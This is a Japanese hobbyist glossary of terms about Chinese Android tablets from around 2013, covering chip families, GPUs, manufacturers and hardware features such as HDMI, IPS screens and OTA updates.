RK3066、TI OMAP4、Amlogic8726-MXなど 他にもNvidia Tegra2やSnapdragonS4 MSM8960、Samsung Exynos5250といったチップがある E E-FUN(いーふぁん) 台湾の企業、タブレットのNextbookシリーズを発売している 一時期Nextbookが投げ売りで話題になった EKEN(えーけん) 黎明期に中華パッドを販売していたメーカー EKEN M001、EKEN M002、EKEN M003がある Exynos(えくしのす) Samsungが製造するSoCのシリーズ 同社のフラッグシップスマートフォン、GalaxySシリーズに搭載されている。 実は中華パッドともそれなりに縁が深く、よく搭載機が販売される 同世代のSoCと比べると、比較的性能が高めなことが多い(?) ちなみに中華パッドではそれぞれ GalaxySに搭載されたExynos3110(≒S5PV210)が、Dropad A8など GalaxyS2に搭載されたExynos4210(=S5PC210,Exynos4 Dual)が、EDEN TAB GalaxyS3に搭載されたExynos4412(Exynos4 Quad)が、Ramos W30などに搭載されている またNexus10に搭載されたExynos5250も、神行者 PD800HDに搭載された 採用端末自体がほとんどないExynos4212(Exynos4 Dual32nm)と 2013年4月現在発表されている中で、最新のExynos5410(Exynos5 Octa)を除けば Exynosシリーズは中華タブでもほとんどが採用されている G GooglePlay(ぐーぐるぷれい) GoogleのAndroid端末向けアプリケーション・映画・音楽・書籍の配信サービス 基本的にほとんどのAndroid端末に搭載されている アプリをダウンロードするのに必要であり、これがないととても不便 以前はAndroid Marketという名前だったが、変更された ただしその名残りか今でもマーケットと呼ばれたりする 最近の端末ではかなり減ったが、中華パッドではこれが搭載されてないものが稀にある 理由はGoogleの認証を受けていなかったり、独自ストアを搭載しているなど様々 一部のショップでは、マーケットがない端末にマーケットを入れて出荷してくれることも が、マーケットがあっても中華パッドではダウンロードできるアプリが制限されていることが多い... Android端末の普及に比例してアプリの本数やダウンロード数も増加 2012年9月にはダウンロード数が250億を突破した Gセンサー(加速度センサー、傾きセンサー) 加速度を計測するセンサーのこと、多くの種類がある タブでは画面回転時やゲームなどで用いられることが多い 激安な中華タブではBTやGPSなど、様々なものが削られていることは多いが この機能に関しては、ほとんどのタブに搭載されている GPS(じーぴーえす、Global Positioning System) 正式名称はグローバル・ポジショニング・システム 衛星からの信号で、受信者が自身の現在位置を知るシステムである タブレットやスマートフォンでもよく搭載されている が、中華パッドではコスト削減のためかあまり搭載されていない... どうしても中華パッドでGPSを利用したい場合 USB-GPSレシーバーは使えないことが多いので Bluetooth-GPSレシーバーを購入することをお勧めする またBT,GPS搭載のAndroid端末をBluetooth-GPSレシーバー化するアプリもある ただし中華パッドではそもそもBluetoothがないものも多いので いっそのこと素直にメーカー品を買った方がいいのかもしれない なお、BT,GPSの有無は中華パッドに一覧を載せているので参考にしてほしい GPU(じーぴーゆー、Graphics Processing Unit) 画像データ表示専用の集積回路の総称。要するに画像、3D、動画など専用のCPU的なもの 中華パッドでよく用いられるAndroidも、4.0からはGPUレンダリングに対応し ゲーム以外の普通のアプリでもGPUの性能を活かすことができるようになった タブレットではほとんどのものが、SoC(CPU)と統合された内蔵型のGPUになっている 中華パッドでは主にARMのMali、VeriSiliconのVivante(GCxxx) Imagination TechnologiesのPowerVR(SGXxxx)などの コアIP が採用されることが多い 他にもタブレットではQualcommのAdreno(元ATI Imageon)や、NvidiaのGeForce(超低電圧版)などがある なお動画再生の HWデコーダー も一種のGPUだが、ややこしいので区別して 3D用のコア(Mali-400など)をGPU、動画用のコアをデコーダーなどと呼ぶことが多い GPUは画像処理のような並列処理に最適化されており、単純な演算の場合であれば 処理能力や電力効率などで一般的なCPUを圧倒する このため消費電力に厳しい制限のあるモバイル機器では、GPUを一般的な処理に用いるGPGPUの活用が期待されている H HDMI(えいちでぃーえむあい) 家電向けのマルチメディアインターフェース、音声や画面の出力が可能 中華パッドにはMini-HDMIの出力がよく搭載されており タブの画面をテレビやディスプレイに映すことができる。PCのように領域拡張はできない タブレット本体側の解像度に合わせて出力されるので、画質は微妙なことがしばしば AllwinnerのSoC(AllwinnerA10、AllwinnerA31)はこのHDMI出力が高性能で 4k2kも出力することができるとか(HDMI1.4aに対応している) なおMiniHDMI-HDMIケーブルは自分で別途購入する必要があるので注意 また自身で画面を持たず、HDMI出力のみを搭載したスティック型のAndroid端末もある チップがよく中華で使われる奴だったり、妙に安かったり、全体的に怪しかったり、ある意味中華パッドの親戚(?) これらについては、Android板の USB型小型Android端末総合スレ を見るといいかもしれない HKMG(はいけーめたるげーと) 半導体にHigh-K素材とメタルゲートを用いる技術 リーク電流を大幅に減らすことができる intel曰く100分の1以下に低下するとか 微細化とともに、トランジスタのゲート絶縁膜が薄くなり ついに絶縁膜が原子数個分という大きさになると トンネル効果によってゲートの絶縁膜を通るリーク電流が増大するようになった これを解決するためにintelは従来の酸化シリコンから素材を変え より誘電率の高いHigh-K材料の絶縁膜を開発した 酸化膜が同じ厚さであれば誘電率の高いHigh-K素材のほうが情報が早く伝わり 同じ速さであればHigh-K素材のほうが絶縁膜を厚くできる トンネル効果は誘電率でなく厚さに影響されるためこれは有効な手段であった しかしリーク電流こそ抑えられたものの 今度は接触面で不具合が起き、結局動作電圧が上がりがちになる上 さらにフォノン振動が内部で電流の流れを阻害するという事態が起こる だがこれを解決したのがメタルゲートである 従来はゲートでも、酸化シリコンが用いられていたが これを金属に変えることで、内部のフォノン振動を抑えられ High-K絶縁膜の問題を解決することができた 現在中華パッドのチップでは Rockchip RK3188 (28nmHKMG)と Samsung Exynos4412 (32nmHKMG) で採用されている HWデコーダ(ハードウェアコーデック、デコーダ) 符号化されたデータを復元するハードウェアのこと 中華では主に動画のHWデコーダのことを指す。要するに動画再生専用コアのこと 動画のハードウェアデコーダーはある意味でGPUの一種であるが、Mali-400MPなどの3D用のGPUコアとは異なるものである 中華パッドのSoCではこのデコーダが強力なものが多く 特にAllwinnerA10はCPU,GPU共にシングルコアで、現在の水準としてはとても低性能だが 動画に関してだけは、2160p@30fpsのハードウェアデコードが可能であったり 地上波のTSファイルをインターレース解除で楽々再生するなど、このデコーダーがとても優秀らしい AllwinnerA31はさらにこれを超える性能のデコーダーを持つとか なおPCなどでは、ハードウェアデコーダでの動画再生は限定的にしか利用されていない(?) ハードウェア側で対応している形式しか、GPUの再生支援を有効利用できないことと CPUの能力が十分高いので、専用ハードを設けなくてもCPUで十分動画が再生できることが背景にある ただしCPUの貧弱なタブレットでの動画再生、特にHD動画の再生は ほとんどこのハードウェアデコーダに依存していると言っても過言ではないので 動画再生をメインの用途に考えるのであれば、CPUだけでなくSoCごとの動画の性能も確認してほしい I ICOO(いこー、爱可西谷电子科技) 中華パッドのブランド。ICOO D70PROなどがある わりとマイナー? 深圳市爱可西谷电子科技有限公司(ICOO) http //www.aoicoo.com/cn/ 【中華平板】ICOOタブレット Part1【マイナー?】 http //ikura.2ch.net/test/read.cgi/wm/1329501846 imp3.net(あいえむぴーすりーねっと) 中国のデジタル関連のニュースサイト?中華タブの情報やBBSなども活発 中華スレでも、ここの情報がソースとして貼られることが多い 中国語のサイトなので、Google翻訳などを使うといいかもしれない 首页- iMP3随身影音 http //www.imp3.net/ iPad(あいぱっど) 米アップルのタブレット型コンピューター、タブレット端末の代名詞 世界で最も出荷されているタブレットであり 中華パッドでも、これを意識したデザインのものが多い また部品に関しても、iPadの影響を受けることがあり 中華パッドでは、iPadと同じ9.7インチのIPS液晶がしばしば用いられ iPadがRetina(2048x1536)になると、中華パッドでもRetinaの端末が発売されたり iPhone4と同じカメラが、中華パッドに用いられることもあるなど(?) 中華パッドとは切っても切れない存在? 現在iPad2、IPad(第4世代)、iPad Miniのラインナップがある ちなみにiPad Miniが発表された当日すぐ中華パッドでも、クローンのGooPad Miniが発表された IPS液晶(あいぴーえすえきしょう) 日立の開発した液晶の方式。In Plane Switchingの略。 視野角が広く、見る角度を変えても色が変わらないのが特徴 テレビやPCのディスプレイでもお馴染みかもしれない。iPhoneなどでも採用された 色々な体勢で使うことが予想されるタブレットでは重要なスペックの1つとされる 液晶の遅延が問題になっていたが、今では些細なレベルなので好きなのを選んで欲しい 以前はIPS液晶を採用している中華パッドは少なく Novo7Auroraに人気が出た要因の1つでもあった (U9GT2など9.7インチではIPSがメジャーだったが7インチでは珍しかった) 最近では中華パッドでもメジャーになってきた感がある ただし現在でもIPSの表記がない中華パッドは、ほぼ確実に TN液晶 なので注意 この点ではメーカー品より逆に親切かもしれない 発展系にAFFS液晶やIPS-PROなどがある IPコア(あいぴーこあ) CPUやGPUの設計図のようなもの。IPとはIntellectualProperty、つまり知的財産権の略称である ARMはこれをSoCのベンダー各社に提供している なおこの設計図の提供の仕方にはいろいろな種類がある 1つはハードウェア記述言語で書かれた、ソフトウェアの設計図のようなものをARMが提供する形である これはソフトマクロと呼ばれる(CPUやGPUのコアのことをMacroと呼ぶ) これを設計図を受け取った各社が、物理的に実装するコアに設計しなおして自社のSoCに取り込む形になる この方法だとSoCメーカー側は、とても柔軟なカスタマイズができる反面 実際のSoCの上での実装を決めるまで、大きな時間が必要となるデメリットがある また微細化すればするほど、回路も複雑なものになりがちなので 製造プロセスの世代が進むごとに、さらに実装に時間がかかるようになってきている 上の欠点を解決するのがARM独自の、POP(Processor Optimization Packの略称)である。 このIPでは上のソフトマクロから一歩進んで、基本セルのチップ上の配置や配線なども含めARMが提供する これによりLSIのレイアウト設計、つまり物理的な設計図をメーカーが自分でやる必要がなく 途中までの設計をARMがやるので、SoCを作るメーカー側の手間が大きく減る 当然ソフトマクロから提供されるのに比べると自由度は落ちるが クロックや駆動電圧などは、メーカー側がある程度自由に組み合わせをとれる ただし半導体の製造プロセスに応じて特性が異なり、リーク電流が大きく変わりがちなため ある程度目標の性能に近づけようと思うと、プロセスの選択や配線の配置など、様々な手間がまだかかってしまう (ソフトマクロでも同じ手間がかかるが) そこで最近利用が増えつつあるのがハードマクロだそうだ これは製造プロセスに最適化した設計など、設計図一式をARMが提供するものである つまりTSMCの40nm向けCortex-A9、という感じで 主要なファウンダリーの製造プロセス向けに、最適化した設計を提供される これにより製造プロセスの選定や、論理合成をする必要がなくなる もちろんメーカー側はほとんどコアをカスタマイズする余地がないが とにかく時間を短縮して、コストを削減することが出来る 中華スレでお馴染みだったAllwinnerA10も、これを利用することで 設計開始からわずか7ヶ月でSoCが出荷された とか J JXD(じぇーえっくすでぃー、金星JXD) 1995年設立の中華パッドメーカー。PSPやDSなどのゲーム機を模した端末が多い 性能などに関しては、他の中華パッドに遅れていることも多いが 十字キーがあるものが多いので、エミュレーターやAndroidのゲームに向いている(?) またゲーム機のクローンだけでなく、JXD S18のような普通のタブレット端末も多い 元々エミュレーター搭載のゲーム機を作っていたメーカーで、この手のメーカーとしては結構老舗? ICレコーダーやスピーカー、MP3プレーヤーなどのラインナップもある 金星JXD(公式ページ) http //www.jxd.cc K Kindle(きんどる) 世界最大のオンラインショッピングサイト、Amazonが販売する電子リーダー E-inkを採用し、とても電池持ちのいいKindleやKindle Whitepaper Amazon独自カスタムのAndroidを搭載した、KindleFireやKindleFireHDなどがある なおGooglePlayは搭載されておらず、アマゾンの独自ストアが載せられている Nexus7と並んで、低価格タブレットで有名なものであるが KindleFireなどを普通のAndroid端末と比較すると、Amazonによる様々な制限があり そもそも値段の割に、端末の性能自体あまり高くないこともあるせいか Nexus7とは対照的に、中華スレではあまりタブレットとしての評価は高くない(?) M Mali Falanx Microsystemsが開発していたGPUのシリーズ。ARMによって買収された 多くのSoCで採用されている。中華パッドではMali400,Mali200などが搭載 現在(2013年1月)発表されている中で最新のものは、ARM Mali-T678(Exynos5450に搭載予定?) ラインナップ Mali-200(シングルコア) Mali-300(シングルコア) Mali-400MP(最大4コア) Mali-450MP(最大8コア、最大L2キャッシュ512kb) Mali-T604(第一世代Midgard、最大4コア、3D向け) Mali-T658(第一世代Midgard、最大8コア、3D,GPGPU向け) Mali-T624( 第二世代Midgard、最大4コア、3D向け) Mali-T628(第二世代Midgard、最大8コア、3D向け) Mali-T678(第二世代Midgard、最大8コア、3D,GPGPU向け) 採用SoC Samsung Exynos5450 (Mali-T678MP4?) Samsung Exynos5250 (Mali-T604MP4) Rockchip RK3188 (Mali400MP4 533MHz) Rockchip RK3066 (Mali400MP4 266MHz) Samsung Exynos4412 (Mali400MP4 440MHz) Samsung Exynos4212 (Mali400MP4 266MHz) Samsung Exynos4210 (Mali400MP4 266MHz) Amlogic8726-MX (Mali400MP2 400MHz) Amlogic8726-M3L (Mali400 250MHz) Amlogic8726-M1 (Mali400 250MHz) Nufront NS115 (Mali400MP2 ?MHz) AllwinnerA20 (Mali400MP2 ?MHz) AllwinnerA13 (Mali400 400MHz?) AllwinnerA12 (Mali400 400MHz?) AllwinnerA10 (Mali400 400MHz?) AllwinnerA10s (Mali400 400MHz?) NovaThor U9500 (Mali400 詳細不明) NovaThor U8500 (Mali400 詳細不明) NovaThor U5500 (Mali400 詳細不明) Telechips TCC8923 (Mali400 詳細不明) Telechips TCC8925 (Mali400 詳細不明) Telechips TCC9201 (Mali200 詳細不明) Telechips TCC8900 (Mali200 詳細不明) Telechips TCC8902 (Mali200 詳細不明) Telechips TCC8803 (Mali200 詳細不明) NuSmart 2816 (Mali400 詳細不明) NuSmart 2816M (Mali400 詳細不明) NuSmart 115 (Mali400 詳細不明) VIA WM8950 (Mali400 詳細不明) Mali400(まり400) ARMの開発するGPU。多くの中華パッド(に採用されたチップ)で採用された 世代的に昔のわりにはなかなか性能が高めに出るとか 一部のGPUベンチマークではTegra3より高いスコアを出すことも 中華パッド以外でもGalaxyS2、GalaxyS3aなど(のチップ)でも採用されている 4コアまで対応しており、コア数はMP◯(MP4なら4コア)と表記される 中華パッドにここまで採用されるあたり、安いのかもしれない 搭載SoC Rockchip RK3188 (Mali400MP4 533MHz) Samsung Exynos4412 (Mali400MP4 440MHz) Rockchip RK3066 (Mali400MP4 266MHz) Samsung S5PC210 (Mali400MP4 266MHz) Amlogic8726-MX (Mali400MP2 400MHz) AllwinnerA20 (Mali400MP2 ?MHz) Nufront NS115 (Mali400MP2 ?MHz) AllwinnerA10 (Mali400 400MHz?) Amlogic8726-M1/M3L (Mali400 250MHz) Telechips TCC8923 (Mali400 詳細不明) Telechips TCC8925 (Mali400 詳細不明) Nufront NuSmart 2816M (Mali400 詳細不明) VIA WM8950 (Mali400 詳細不明) などで採用されている MediaTek(めでぃあてっく) 台湾最大のファブレス半導体メーカー、様々な組み込み向けのチップを手がける ソフトとチップを同時に安価で提供することで、2G世代の中国の携帯電話で奇跡的な成功を収め 一時期は世界第4位の半導体メーカーにも躍進し、山寨王とも呼ばれた また、スマートフォン向けプロセッサでも 世界3位 のシェアを誇る 実はかつて台湾のファウンダリー大手、UMCの一部門であった CPUなどのスペックでは、RockchipやNvidiaなど他社のものに劣りがちだが MediaTekのSoCは3G通信が可能なものがほとんどで、デュアルSIMにも対応している 5インチなどスマートフォンサイズでの採用が多い 主なチップとしてMediaTek MT6577やMediaTek MT6589がある 興味があるなら中華スレ以外にも、5インチスレや輸入ケータイスレを見てみるといいかもしれない MediaTek 6577やMediaTek MT6589など MediaTekのSoCの多くはこの機能を内蔵しており、ほとんどはWCDMA/GSMなどに対応している 対応するSIMカードを入れて、設定をすれば日本の回線でも使うことが出来るが 技適マークがないものは法律に違反する可能性が大いにあるので、自己責任でお願いしたい CDMA2000向けには主にクアルコムの低価格SoCがあるが、日本ではあまり取り扱われてはいない? MID(えむあいでぃー) 中華パッドの別名。intelが提唱したMobileInternetDevicesが元だと思われる 最近ではあまり使われない(?) MIPS(みっぷす) 1)MIPS(million instructions per second) の略で、コンピュータの性能指標の1つ。1秒間に何百万個の命令が実行できるかを表す。 2)MIPSアーキテクチャー。またそれを採用したSoCもこう呼ばれることがある この項目では2)について説明する 文字通りMIPSアーキテクチャーを採用したSoC、タブレットを指す 一般的なAndroid端末に採用されるARMとは、異なるアーキテクチャーであり アプリの互換性に問題がある。搭載する端末ではNovo7Paladinなどが有名 MIPSアーキテクチャーについて説明すると長くなるので 興味が有る方は wikipedia - MIPSアーキテクチャー あたりを読んでいただけると助かる MIPSベースのコアを搭載したJZ4770搭載機は電池持ちなどでは評価がそれなりによく 同時期のタブレットに比べるとCPU、GPU共に性能でも上回っている上 当時としては中華パッドの中でも破格の値段で販売されていた しかしアプリの互換性に大きな問題があり 一般的なAndroidアプリが動かなかったせいか、普及することは敵わなかった 2013年1月現在、後継のJZ4780搭載機が発表されている 今度こそARMの牙城を崩すことができるのか...? 主なMIPSアーキテクチャのSoCにはIngenic JZ4770、Ingenic JZ4780、Actions ATM7019がある MX動画プレーヤー(えむえっくすどうがぷれいやー) Android定番の動画プレーヤー。動画再生能力が高いらしい ソフトウェアデコードや、ハードウェアデコード、HW+など、複数の動画再生モードを選ぶことができる 中華パッドでもよく用いられ、動画性能のレビューなどでもこのプレーヤーを使うことを前提に 書かれることがしばしばあるほど。 ただし中華の場合、SoCに最適化された付属のプレーヤーの 動画再生能力が意外と馬鹿に出来なかったりするので MX動画プレーヤーで再生できない場合でも、試してみるといいかもしれない GooglePlay - MX動画プレーヤー https //play.google.com/store/apps/details?id=com.mxtech.videoplayer.ad hl=ja O OEM(おーいーえむ、Original Equipment Manufacturer) 他社ブランドの製品を製造すること また逆に、自社ブランドで他社の製品を販売することも指す 中華パッドではこういったことがとても多く ドスパラやマウスコンピュータのタブレットのように 国内業者が自社のブランドで中華パッドを売っていることがよくある また中華パッド同士でも、OEMがよくあり 原道N90 と CUBE U9GT2 のように ハードウェア的に全く同じで、FWが使い回せたりするものもある OGS(おーじーえす、One Glass Solution) タッチパネルのセンサをディスプレイの裏面に置く技術 中華パッドでも、たまにこれが用いられたディスプレイが使われる カバーガラスに直接センサを形成することで、ディスプレイが薄くなり原価の低減も可能 また同時に軽量化や、外光の反射対策、透過率の上昇なども実現する優れた技術 イン・セル型のように液晶の中にタッチパネルのセンサを内蔵してしまうわけではなく あくまでもタッチパネルのセンサを後ろ側に置くというだけで、オン・セル型の改良の一つである 強度やコスト面ではイン・セル型に劣るが イン・セル型の歩留まりが現在あまりよくないため、よく用いられるとか? OTA(おーてぃーえー、Over-The-Air) FWが更新された時に、自動的にアップデートを行なってくれる機能 USBなどのケーブルで繋ぐ必要がなく、無線通信で送られてくるためこう表現される 中華パッドではあまりないアップデート法であったが、最近(2013年1月現在)の機種ではちらほら増えている(?) 公式を見なくても勝手に最新FWにしてくれるので、便利ではあるが root化して変な部分を弄ってしまったり、動作がおかしくなった時に、FWを焼きなおすことが出来ないという欠点もある (普通に焼けるFWも同時に提供していることもある) また、機種によってはOTAと共にrootを潰してくることもあるので油断できない ONDA(おんだ) 大手(?)中華パッドメーカー。正式名称は昂达电子、1989年設立。 中華パッドや音楽プレイヤーだけでなくマザーボード、グラフィックボード、 CDドライブ、GPS、フラッシュドライブ、カメラなど様々な幅広い製品がある。 中華スレではデザインに関してはそれなりに評判がいい。ただし筐体の出来に関しては...? 関連項目 ONDA 端末一覧 P PowerVR(ぱわーぶいあーる) 英イマジネーションテクノロジーズが開発する、グラフィックIPコア 比較的メモリへの負荷が少なく、家庭用ゲーム機や携帯電話で多く採用されてきた タイリングを採用し、画面に見えないところは計算しない仕組みになっている ただしそのせいか半透明などの表現では弱いらしい 現在スマートフォンやタブレット向けのSoCでも、PowerVRシリーズ5が採用されている PowerVR Series 5 SGX520 2005年7月発表 7MTriangles/s 250MPixel/s 64bitバス 0.8GFLOPS(@200MHz) OpenGL ES2.0対応 SGX530 2005年7月発表 14MTriangles/s 500MPixel/s 64bitバス 1.6GFLOPS(@200MHz) OpenGL ES2.0対応 SGX531 2006年10月発表 14MTriangles/s 500MPixel/s 64bitバス 1.6GFLOPS(@200MHz) OpenGL2.0対応 SGX535 2007年11月発表 14MTriangles/s 500MPixel/s 64bitバス 1.6GFLOPS(@200MHz) DirectX9.0c/OpenGL2.1/OpenGL ES2.0対応 SGX540 2007年11月発表 20MTriangles/s 1000MPixel/s 64bitバス 3.2GFLOPS(@200MHz) OpenGL ES2.0対応 SGX545 2010年1月発表 40MTriangles/s 1000MPixel/s 64bitバス 7.2GFLOPS(@200MHz) DirectX10.1/OpenGL3.2/OpenGL ES2.0対応 PowerVR Series 5XT(マルチコア構成が可能) SGX543 2009年1月発表 1-16コア 35MTriangles/s 1000MPixel/s64bitバス 6.4GFLOPS(@200MHz) OpenCL1.0対応 SGX544 2010年6月発表 1-16コア 35MTriangles/s 1000MPixel/s64bitバス 6.4GFLOPS(@200MHz) DirectX9.0L3/OpenGL2.1/OpenCL1.1対応 SGX554 2010年12月発表 1-16コア 50MTriangles/s 1000MPixel/s64bitバス 12.8GFLOPS(@200MHz) DirectX9.0L3/OpenGL2.1/OpenCL1.1対応 搭載SoC Apple A6X (PowerVR SGX554MP4) Apple A6 (PowerVR SGX544MP3) TI OMAP5430 (PowerVR SGX544MP2) AllwinnerA31 (PowerVR SGX544MP2) MediaTek MT6589 (PowerVR SGX544) TI OMAP4470 (PowerVR SGX544) Apple A5X (PowerVR SGX543MP4) Apple A5 (PowerVR SGX543MP2) TI OMAP4460 (PowerVR SGX540) TI OMAP4430 (PowerVR SGX540) Samsung S5PV210 (PowerVR SGX540) Intel Atom Z2460 (PowerVR SGX540) Apple A4 (PowerVR SGX535) MediaTek MT6577 (PowerVR SGX531) MediaTek MT6575 (PowerVR SGX531) MediaTek MT6573 (PowerVR SGX531) Renesas EMMA EV2 (PowerVR SGX530) TI OMAP3630 (PowerVR SGX530) AppleのSoCやOMAP5は参考程度に表記しているが、中華パッドには搭載されていない Q Quad Core(クアッド-コア) 1つのパッケージ(SoC)の中に、4つのプロセッサコアが集積されたSoCのこと。 シングルコアのSoCに比べてとても高い性能であることが多い このwikiの左メニューでCortex-A9*4、Cortex-A7*4、Cortex-A5*4などと書かれているものが該当する 4つの独立したコアを持ち、他のコアに影響されることなく動作が可能 処理を同時にすることで性能を上昇させている。4コアやx4,と表記されることもしばしば が、アプリ自体がクアッドコアを活かしきれるように作られていることがまず稀であり 最適化していたとしても、メモリの同じ場所にアクセスしてしまうなどの理由で どうしてもシングルコアからデュアルコアになるほどの性能向上はない ただし実際のAndroidの動作では、なんだかんだで低負荷時でも3コア程度動いてるとかで それなりに意味が無いわけでもないとか(?) もちろんだが消費電力も当然増えるが、実際の消費電力はSoC次第としか言えない 中華の場合、CPU以外のGPUやDSPなどをカウントして「ManyCore」と書いたり ほとんど詐欺みたいなこともあるので気をつけて欲しい なおAndroidでは4.0以降(正確には3.0)でしか、OSレベルでマルチコアに対応していないが クアッドコアのタブレットで4.0以前のものはほぼ存在しないので、気にする必要はない 主な中華パッドのクアッドコアSoCは Rockchip RK3188(Cortex-A9*4 1.6GHz + Mali-400MP4 533MHz) Samsung Exynos4412(Cortex-A9*4 1.4GHz~1.6GHz + Mali-400MP4 440MHz) Nvidia Tegra3(Cortex-A9*4 1.2GHz~1.6GHz + Mali-400MP4 440MHz) HiSilicon K3V2(Cortex-A9*4 1.4GHz + Vivante GC4000) Freescale i.MX6Q(Cortex-A9*4 0.96GHz + Vivante GC2000+GC355+GC320) MediaTek MT6589(Cortex-A7*4 1.2GHz + PowerVR SGX544) AllwinnerA31(Cortex-A7*4 1.0GHz + PowerVR SGX544MP2) ACT ATM7029(Cortex-A5?*4 1.2GHz + Vivante GC1000) 他にもNvidia Tegra4やSnapdragonS4 APQ8064、Snapdragon800/600、Samsung Exynos5410といったチップがある R RAM(Random Access Memory) メモリのこと、DDR3やLPDDR2などの規格がある タブレットではストレージと混同されることを防ぐため(?) メモリのことをメモリと呼ばず、RAMなどと表記することが多い なお中華パッドではコスト削減のためか 低電圧で駆動するLPDDR2や、DDR3Lなどのメモリを使わずに PC用のメモリと同じDDR3を使っていることが多い 恐らくだが、中華パッドの電池持ちが悪くなりがちな理由の一つと思われる (特にスリープ時) Ramos(らもす、蓝魔) 2001年設立。Ramos W17ProやRamos W30がある 海外の有名メーカーのOEMなどもしているらしい 最近ではSamsung Exynos4412や、Atomを搭載したタブレットを販売している 蓝魔数码娱乐生活| The idea life with RAMOS http //www.mumumusic.com/ Realtek(りあるてっく) 台湾の大手半導体メーカーRealtekのこと。 イメージキャラクターはサウンドボードやLANボードでお馴染みのあの蟹である あまりいいイメージがない方も多いかもしれないが 中華スレではRealtekのチップの搭載機はwifi周りが安定してるとの評判 Ainol Novo7CrystalやAinol Novo10Hero2にも搭載されている Rockchip(ろっくちっぷ、瑞芯微電子) 2001年設立。中国の半導体メーカー、正式な名前は福州瑞芯微電子 MP3、MP4プレーヤー向けや、通信用など様々なチップを製造している タブレット向けには、Rockchip RK3066やRockchip RK2918などのラインアップがある 中華パッド黎明期から、タブレットにRK28xxが採用されるなど それなりに中華パッドとは縁のある会社 中国のポータブルプレイヤー向けSoCでは、大きく成功した会社の1つであり 怪しい中国の動画プレイヤーでもよく目にすることが出来る 2007年にはRK2608Aが、最も市場に受け入れられたICの1つとして 中国政府の信息産業部(情報産業省)から表彰された AllwinnerのSoCと比較するとさすがに劣るものの RockchipのSoCが意外と動画に強いのは、そういう背景があるからかもしれない Rockchip RK2918も、WebM VP8をハードウェアデコードする世界初のチップという謳い文句である 現在最新のSoCはRockchip RK3188(Cortex-A9*4(~1.6GHz) + Mali-400MP4 533MHz) ROM(ろむ、Read Only Memory) 読み出し専用の記憶装置。タブレットなどではストレージのことを指す ROM 16GBなどと書いてある奴のことである 読み出し専用記憶装置、と言っておきながら書き込みできてしまうが それはこのROMというのがフラッシュメモリ、つまりEEPROM (Electrically Erasable ProgrammableROM)のことを指しているためと思われる なぜ書き換え可能なのにROMと呼ぶのかは、色々な理由があるが EEPROMは、マスクROMの技術を発展させた結果生まれたものなので 慣習的にROMと呼んでいるのだと思われる またRAMにはない書き換え寿命があったり 内部の動作ではRAMと大きく違うため、RAMと呼べない面もあるので 書き換えが可能でも、ROMと呼んでいるのではないだろうか ちなみになぜストレージのことを、わざわざROMと言うのかというと スマートフォンでは比較的PC初心者が多く(?) RAMのことをメモリーと書くと、ストレージと勘違いされることがしばしばあった (うちのPCメモリ512GBみたいな) そのため初心者の誤解が減るように メモリーをRAMと書き、容量をROMと書くことが普及したのではないだろうか そしてそれがタブレットでも用いられ、現在に至ると思われる 稀にHDD(Androidタブであるのか?)やSSDと表記していることも S SDカードスロット(MicroSDカードスロット) SDカードが利用できるスロット。 タブの外部ストレージとして、SDカードを利用できるので便利 ほとんどの中華パッドに搭載されている 中華パッドが唯一、iPadやNexus7より優れてると言える部分(?) ただし中華の場合、相性が悪いものだとSDカードの中のデータが消えたり SDカードを挿すと、バッテリー消費が異様に増えたりなどの不具合が出る場合も ちなみに公称値では最大32GBまでの対応でも、64GBのものが使えることがある Single Core(しんぐるこあ) 1つのプロセッサコアを集積したSoC。最も基本的な形のパッケージである 文字通りCPUが1つしかないので、並列処理などに弱いとされる 2012年の中盤までは、中華パッドでもこのシングルコアのSoCが主流であった 現在でも低価格タブレットでは採用されることがあるが あまり性能は期待しないほうがいいかもしれない なお、シングルコアのものでも解像度の低い端末であれば スクロールが滑らかでカクつかないものもある ただしやはり性能自体は低いのでレンダリングやjavascriptは遅いので注意 なお小説や漫画を読む程度であれば、シングルコアでもほぼ問題ないと思われる また、シングルコアのSoCの中でもAllwinnerA10は動画性能が突出しており 地上波のTSファイルも再生できるとか。しかも一般的なデュアルコアSoCに比べ省電力 用途を考えさえすれば、シングルコアのタブレットも十分ありかもしれない ただそれでもブラウジングをメインに考えるのであれば そこまで価格差もないので、やはりデュアルコア以上をおすすめする 代表的なシングルコアのSoCにRockchip RK2918、AllwinnerA10、AllwinnerA13などがある Cortex-A8 のものが多い Slatedroid(すれーとどろいど) 世界最大級のAndroidタブレットのフォーラム...らしい。5万人以上が登録している タブレットにかぎらずAndroid TV(スティック型端末など)や、一部のスマートフォンの話題もある 中華パッドについても情報が充実しており、バグ報告やカスタムROM配布もあるので 一度は自分の機種をチェックしてみるといいかもしれない SlateDroid - Android Tablet Forum http //www.slatedroid.com/ SmartQ(すまーときゅー) SmartDevices(北京智器)のSmartQシリーズの略称 転じてSmartDevices(北京智器)自体を指してスマQと呼ぶことも? 中華パッドの中では比較的高価だが、品質の高さやアップデートなどの対応に定評がある 元々WindowsCEやモバイル向けlinuxを乗せた、MIDを作っていた企業であり 実はかなり初期からAndroidを搭載した端末も発売している (linux、WindowsCE、Androidのトリプルブートといった端末だが) 最近ではOMAP4ファミリーの搭載機が多い OMAP4はベンチマークなどの性能では、競合のRockchip RK3066搭載機などに劣るものの UI描写の滑らかさなどでは他の中華SoC搭載機を上回るとの評判 良くも悪くも中華らしくない中華と言われるが FMラジオやプロジェクター搭載といった変な機能は、ある意味で中華らしいかもしれない? Cortex-A15のデュアルコアを搭載したものを出す予定だとか 関連項目 SmartDevices 端末一覧 Snapdragon(すなっぷどらごん、Qualcomm Snapdragon) 通信技術の大手企業、米QualcommのSoCのシリーズ モデムをSoCの中に内蔵しており、省電力で通信を行うことができる 世界各国のメーカーのスマートフォンで広く採用されているが NvidiaのTegraやTIのOMAPと異なり、中華パッド界では完全な空気... 中華スマートフォンでは採用されることがある 他のSoCと異なり、独自開発のARM互換コアを採用している(krait,Scorpionなど) しばしばKraitが Cortex-A15 と勘違いされるが、全く異なるものである ただし一部の機能をARMコアに先駆けて採用することも多い KraitではCortex-A15と同等の機能をいくつか採用しており ベンチマーク次第ではCortex-A9を圧倒することがある また非同期マルチコアであり Nvidia Tegra3のように別に1つコアを設けなくても 状況に応じて使うコア数を変えたり 1つのコアだけ高いクロックで稼働させることができる なおGPUのAdrenoは、AMDのモバイル向けGPU, Imageon を元として開発されており (AdrenoはAMDのGPUシリーズ、Radeonのアナグラムになっている) ある意味Adreno vs Tegraは、モバイルを舞台としたAMDと宿敵NVIDIAの戦いでもある(?) 2013年1月現在、SnapdragonS4Pro APQ8064(krait*4(~1.5GHz) + Adreno320)が最新のSoC 